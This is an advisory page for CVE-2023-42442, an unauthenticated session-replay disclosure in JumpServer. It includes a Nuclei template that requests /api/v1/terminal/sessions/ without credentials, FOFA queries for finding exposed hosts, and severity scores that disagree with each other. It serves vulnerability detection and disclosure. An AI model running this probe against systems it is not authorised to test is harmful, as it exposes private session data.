JumpServer > 3.6.4 - Information Disclosure

2023-09-2010:44:04

ProjectDiscovery

github.com

jumpserver

bastion host

security audit

session replay

authentication

permission control

api

fix

upgrade.

CVSS3

8.2

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

LOW

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

AI Score

6.5

Confidence

High

EPSS

0.446

Percentile

97.4%

JSON

JumpServer is an open source bastion host and a professional operation and maintenance security audit system. Starting in version 3.0.0 and prior to versions 3.5.5 and 3.6.4, session replays can download without authentication. Session replays stored in S3, OSS, or other cloud storage are not affected. The api `/api/v1/terminal/sessions/` permission control is broken and can be accessed anonymously. SessionViewSet permission classes set to `[RBACPermission  IsSessionAssignee]`, relation is or, so any permission matched will be allowed. Versions 3.5.5 and 3.6.4 have a fix. After upgrading, visit the api `$HOST/api/v1/terminal/sessions/?limit=1`. The expected http response code is 401 (`not_authenticated`).

id: CVE-2023-42442

info:
  name: JumpServer > 3.6.4 - Information Disclosure
  author: xianke
  severity: medium
  description: |
    JumpServer is an open source bastion host and a professional operation and maintenance security audit system. Starting in version 3.0.0 and prior to versions 3.5.5 and 3.6.4, session replays can download without authentication. Session replays stored in S3, OSS, or other cloud storage are not affected. The api `/api/v1/terminal/sessions/` permission control is broken and can be accessed anonymously. SessionViewSet permission classes set to `[RBACPermission | IsSessionAssignee]`, relation is or, so any permission matched will be allowed. Versions 3.5.5 and 3.6.4 have a fix. After upgrading, visit the api `$HOST/api/v1/terminal/sessions/?limit=1`. The expected http response code is 401 (`not_authenticated`).
  impact: |
    The vulnerability allows an attacker to gain sensitive information from the JumpServer application.
  reference:
    - https://github.com/jumpserver/jumpserver/blob/v3.6.1/apps/terminal/api/session/session.py#L91
    - https://nvd.nist.gov/vuln/detail/CVE-2023-42442
    - https://github.com/jumpserver/jumpserver/commit/0a58bba59cd275bab8e0ae58bf4b359fbc5eb74a
    - https://github.com/Marco-zcl/POC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-42442
    cwe-id: CWE-287
    epss-score: 0.79196
    epss-percentile: 0.98277
    cpe: cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fit2cloud
    product: jumpserver
    fofa-query:
      - title="JumpServer"
      - title="jumpserver"
  tags: cve2023,cve,jumpserver,exposure,fit2cloud

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/terminal/sessions/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"terminal":'
          - '"user_id":"'
          - '"account_id":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 490a004630440220233c29e3487047b77769a298603acef5fab3841e3a829681e9a1093c7df9253b02204bad4b923b7bb8b66d316855fcca625797d90afb68e0eb2578b1dcf58dd7b0cc:922c64590222798bb761d5b6d8e72950